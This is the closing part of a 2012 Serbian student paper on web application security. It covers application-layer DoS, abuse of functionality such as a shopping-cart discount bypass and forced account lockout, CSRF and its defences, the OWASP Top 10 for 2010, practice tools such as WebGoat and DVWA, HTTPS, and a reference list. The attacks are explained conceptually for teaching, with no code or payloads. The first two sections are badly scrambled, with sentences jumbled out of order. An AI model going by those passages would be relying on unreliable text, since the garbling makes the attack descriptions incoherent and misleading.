sistemskih resursa.Elektronski fakultet Niš 2012. Upravo se taj način propagiranja često koristi. serveru baze podataka i ka autentifikacionom serveru. Posebna pažnja se posvećuje DoS napadima na aplikacionom sloju koji su usmereni ka web serveru. izmenila i ponovno poslala aplikaciji sa cenama postavljenim prema napadačevim željama. pronalaska i korišćenja ranjivosti ili zloupotreba funkcionalnosti. disk) tada se onemogućuje pristup i rad web aplikacije. Uspeh ovih napada zavisi od trošenja značajnih resursa sistema. pa možemo reći da se zloupotreba funkcionalnosti koristi i kao multipliciranje napada (engl force multiplier). prevario ili promenio njen kontrolni mehanizam.

Zatim DoS napad na server baze podataka.Elektronski fakultet Niš 2012.Korisnik ulazi u proces provere gde mu se registruje popust. Ova vrsta napada je česta ukoliko se korisnički status ne proverava unutar odreĎenih procesa. Praćenje se najčešće vrši korišćenjem Cookie-a ili skrivenih HTML polja. Nakon velikog boja pokušaja aplikacioni autentifikacioni proces “zaključaće” pristup tom koriniku. Napadi automatizovanim procesima Nastupaju kada web aplikacija dozvoljava napadaču izvoĎenje automatizovanog procesa koji bi inace trebao biti ručno izveden od strane korisnika. Neki od ovih procesa su :obnova lozinke. web aplikacija mora pratiti stanje korisnika dok korisnik vrši radnje unutar njenog toka procesa. Primer je On-line web aplikacija za prodaju (engl. Kontrola procesa će se narušiti na sljedeći način: .Korisnik se vraća natrag iz procesa provere. dok za proizvod B nema popusta. Narušavanje kontorole procesa Nastupaju kada web aplikacija dopusti napadaču zaobilaženje ili promenu kontrolnog toka aplikacije. izbacuje proizvod A iz korpe. otvaranje korisničkog računa. Ukoliko se praćenje vrši na klijentskoj strani unutar web čitača. automatizovani programi-roboti ili napadači mogu uzastopno ispitivati funkcionalnost web aplikacije kako bi narušili ili prevarili sistem. Ukoliko se ne vrši provera. . te u kolica ubacuje proizvode A i B u korpu. obriše podatke). Napadač pokušava veliki broj puta da se uloguje na profil nekog korisnika sa korisničkim imenom tog korisnika i namerno pogrešenom šifrom. Da bi ovi procesi ispravno funkcionisali. Korisnikova želja je da dobije popust za proizvod B.Korisnik želi kupiti proizvod B s popustom. itd. Svaki korisnik koji kupi proizvod A će dobiti popust. postoji mogućnost zaobilaženja k ontrolnog toka dogaĎaja promenom trenutnog korisničkog stanja. 18 . Na primer mogu slati hilade zahteva u sekundi I na taj način izazvati gubitak preformansi ili smanjenje funkcionalnosti. Za napade ka web serveru napadač koristi Buffer overflow napad kako bi srušio procese web servera i kako se sistemu ne bi moglo pristupiti odreĎeno vreme. Napadač uz pomoć SQL injection napada modifikuje bazu podataka na taj način da sistem postane nestabilan (npr. tada je potrebno dodatno proveravati integritet podataka. . shopping cart). Ukoliko nema provere. on-line kupovina. Na primer DoS napad usmeren ka korisniku.

pomoću zlonamerno oblikovanih HTML objekata. Ako na stranici nema nikakve kontrole i provere sigurnosti i identiteta korisnika.Elektronski fakultet Niš 2012. Neke od najznačajnijih metoda ovih napada su: .  Smanjiti inicijalno vreme aktivnosti sesije. Zaštita od ove vrste napada:  Ispitivanje da li je zahtev pokrenut iz neke web stranice unutar cele web aplikacije.  Postavljanjem upita za ponovno upisivanje lozinke kod „osetljivih“ operacija. JScript…) i . Tipični zahtevi koji se mogu iskoristiti u ovom napadu su GET i POST. Osnovna razlika izmeĎu CSRF-a i XSS-a je ta što se nedopuštene naredbe šalju od strane korisnika kojem ta web stranica “veruje”. . Cross Site Request Forgery (CSRF) napad Ovo je još jedan napad na web aplikacije koji je vredan pomena iz razloga što se i on dosta javlja. pritom zadržavajući popust ostvaren u preĎašnjem procesu provere (sa proizvodom A u korpi) i prevarom postiže nižu cenu proizvoda B. PHP. a da korisnik nije toga svestan. GET metoda služi za dohvat podataka. zahtev koji je poslat takvoj stranici se izvodi kao da ga je poslao klijent. To znači da je svaki korisnik interneta može „uhvatiti“ nekim alatima koji skeniraju promet po internetu. 19 . a izvodi se posredovanjem klijentskog programa. - Korisnik ponovno ulazi u proces provere. Na ovaj način se mogu iskoristiti JavaScript forme. Ovim napadom se iskorišćava korisnikov Cookie zapis. koje se mogu sakriti u posebnom i-frame-u. Takva stranica mora sadržati kod koji će omogućiti pokretanje takvog zahteva. U drugom slučaju imamo POST metodu koja sadržaj šalje kroz poruku. Način na koji ovo funkcioniše možemo videti tek kada učitamo stranicu u nesigurnom web čitaču.pomoću skriptnog koda umetnutog u HTML (JavaScript.zloupotrebom automatskog generisanja zahteva u web čitaču (XMLHttpRequest). a prenosi se putem URL zahteva. Na taj način smo je bolje zaštitili od trećih strana. CRSF napadom korisnik želi nesvesno izvršiti odreĎene radnje na web aplikacijama.

OWASP Top 10 Application Security Risks – 2010: 1) Injection 2) Cross-Site Scripting (XSS) 3) Broken Authentication and Session Management 4) Insecure Direct Object References 5) Cross-Site Request Forgery (CSRF) 6) Security Misconfiguration 7) Insecure Cryptographic Storage 8) Failure to Restrict URL Access 9) Insufficient Transport Layer Protection 10) Unvalidated Redirects and Forwards Detaljan opis svih ovih rizika dat je na sajtu OWASP organizacije: https://www.php mogu se isprobati mnogi napadi kao i uočiti najčešće greške koje korisnici ali i web administratori čine u radu sa web aplikacijama. Jedna od najpoznatijih jeste OWASP . Trenutno aktualna verzija. Na internetu objavljuju brojne programe i dokumentaciju koja nastoji zaštititi web aplikacije i cele sisteme koji rade na webu. To je neprofitna organizacija koja se bavi problemima vezanim za sisteme na webu i ranjivosti takvih sistema.org/pages/index/index.hackthissite. objavljena je 19. Još jedna poznata organizacija jeste WASC . otkrivaju ranjivosti i održavaju sisteme sigurnima. HTTPS se takoĎe koristi kao dobar vid zaštite. „OWASP Top 10 for 2010“.04.org/. nego lista propusta sa najvećim rizikom.Open Web Application Security Project.owasp. Ova vrsta protoka koristi 443 port te se 20 . To je engleska skraćenica od "Hypertext Transfer Protocol Secure" i čini kombinaciju HTTP-a i SSL/TSL protokola stvarajući enkripciju tokom prenosa podataka i sigurnu identifikaciju servera. OWASP grupa kod Top 10 liste eksplicitno navodi da to nije lista najčešćih propusta u aplikacijama. Neki od alata i aplikacija koje se koriste u svrhu poboljšanja zaštite:  WebScarab  WebGoat  DVWA (Damn Vulnereable Web Application) Na sajtu http://www.Elektronski fakultet Niš 2012. Isto tako i na ovom područuju definišu niz mera i smernica kako nešto sprečiti i šta učiniti u kriznim situacijama.2010. OWASP Top 10 je lista deset najkritičnijih sigurnosnih rizika web aplikacija prema mišljenju OWASP zajednice. Organizacije i alati za sigurnost web aplikacija Postoji dosta organizacija koje se bave zaštitom i sugurnošću web aplikacija.Web Application Security Consortium.

Moraju se dobro upoznati sa aplikacijama koje koriste. slova. i odloguju sa web aplikacija pre gašenja web čitača. Neteller. Da bi se otežala kraĎa šifara i lako korišćenje od strane napadača. Mnoge organizacije koje se bave sigurnošću web aplikacija razvile su razne standarde za pomoć programerima i korisnicima radi lakše ostvarene sigurnosti aplikacije i korisnika. najčešće koristi na sajtovima koji poseduju aplikacije za transakciju novca putem kreditnih kartica.secure by design. Da bi i korisnici bili zaštićeniji od napada i oni sami se moraju zainteresovati.internet računa kao što su PayPal. Zato je neophodno da i programeri stalno prate trendove. Omogućuju da se aplikacija istestira. Sva i pisana i nepisana pravila je više nego poželjno ispoštovati da bi web aplikacija bila što sigurnija i bez propusta. aplikacije postaju funkcionalnije. da im ne veruju u potpunosti. dinamičnije. TakoĎe je i bitno znati na koji link treba kliknuti i kome treba verovati. lepše. veoma je bitno da sama aplikacija ima ugraĎen program za enkripciju podataka u neki dugi niz brojeva i slova koji bi bilo teško dešifrovati i na taj način zaštitili podatke prilikom prenosa. razvoj tehnologije kako do ovoga ne bi dolazilo. Kako tehnologija stalno napreduje. secure in deployment). Podizanje svesti o sigurnosti upravo je najpotrebnije kod programera. pronaĎu „rupe“ i otklone na vreme. Razvijene su strategije pisanja web aplikacije (SD3 . Alati za automatsku proveru i otkrivanje ranjivosti su od velike pomoći programerima i zainteresovanim korisnicima. pored ovoga neophodna i najbolja tehnika za pronalazak i otklanjanje grešaka jeste i ručno testiranje od strane programera. Moneybookers. Kao zaštita od štetnih radnji koristi se i proxy i drugi firewall-i. 21 .Elektronski fakultet Niš 2012. istraživati o sigurnosti aplikacije i proveravati sve sumnjive situacije. AlertPay. secure by default. Još jedna od bitnijih stvari jeste enkripcija podataka prilikom prenosa (HTTPS. MeĎutim. kraĎu podataka i računa. obaranje sajtova postaju sve raznovrsnije i sve ih biva više. brojeva. Zaključak Kao što se iz priloženog može zaključiti programerske greške su takoĎe jedan od čestih uzroka za pojavu sigurnosnih propusta. jer se informatički nepismeniji korisnici mnogo lako namame i prevare. šifre sastavljaju od znakova. SST protokol). koje ukoliko se ispoštuju obećavaju visok nivo sigurnosti. tako i mogućnosti i ideje napadača za prevaru sistema.

http://www.html (11.org/index.2012. 18:00h) 4.2012.owasp.com/faq/ (05. http://anti-virusi. 19:00h) 7.hr/documents/LinkedDocuments/CCERT-PUBDOC2004-10-93.01. 17:00h) 6.zemris.org/missions/basic/ (13.org/index. https://sigurnost.hackthissite.owasp.php/Main_Page (10.01.pdf 11:00h) (13.01.2012. http://os2. 16:00h) 2. http://dkorunic.01.pdf (11. The Unofficial Cookie FAQ.2012.hr/blog-postovi/post/sta-je-https-3275/ (17.lss.2012. http://www. 14:00h) 22 . http://security.2012.hr/ns/2006_pauk/diplomski.01.01.blogeri. http://www.01. 13:30h) 3.01. Literatura 1.01.net/pdf/Sigurnost-na-Internetu-II.2012.hr/assets/Prezentacije/KAKO-NAPRAVITISIGURNU-APLIKACIJU.pdf (06. 9. http://www.fer. 21:00h) 8.2012.pdf (12.Elektronski fakultet Niš 2012.2012.com/2009/05/sta-su-cookies.cookiecentral.carnet. 19:00h) 5. 18:00h) 10.php/Top_10_2007-Methodology (10.blogspot.01.2012. URL: http://www.